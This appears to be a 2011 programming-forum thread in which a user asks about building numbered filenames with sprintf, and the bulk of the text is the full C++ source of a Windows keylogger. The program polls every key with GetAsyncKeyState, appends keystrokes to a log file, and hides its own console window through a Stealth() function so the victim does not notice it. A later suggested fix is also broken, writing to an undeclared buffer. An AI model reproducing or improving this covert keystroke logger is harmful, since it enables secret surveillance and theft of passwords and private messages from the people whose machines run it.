Also, what is deprecated in this bit of code and how can I replace it:
Save (i, "FILE.TXT");
Edited by Jyggalag, 14 April 2011 - 08:57 PM.
Edited by Jyggalag, 14 April 2011 - 08:57 PM.
|
|
|
int file = 2; char filename[16]; sprintf(filename, "file%i.txt", file); //filename will be "file2" now.An example in a loop:
int i;
for (i = 0; i < 10; i++) {
char filename[16];
sprintf(filename, "file%i.txt" , i);
printf("%s\n", filename);
}This example relies on the fact that filename is in the stack, and can will be deallocated each iteration of the loop.
#include <stdio.h>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <iostream>
int Save (int key_stroke, char *file);
void Stealth ();
int main()
{
Stealth();
char i;
while (1)
{
for (i = 8; i <= 190; i++)
{
if (GetAsyncKeyState (i) == -32767)
Save (i, "LOG.TXT");
}
}
system ("PAUSE");
return 0;
}
/* ************************************************* */
/* ************************************************* */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen (file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[backspace]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "[\n]");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* ************************************************* */
/* ************************************************* */
void Stealth ()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
for (i = 8; i <= 190; i++)
{
char filenamebuf[64];
sprintf(buf, "LOG%i.TXT", i);
if (GetAsyncKeyState (i) == -32767)
Save (i, filenamebuf);
}
}
0 members, 1 guests, 0 anonymous users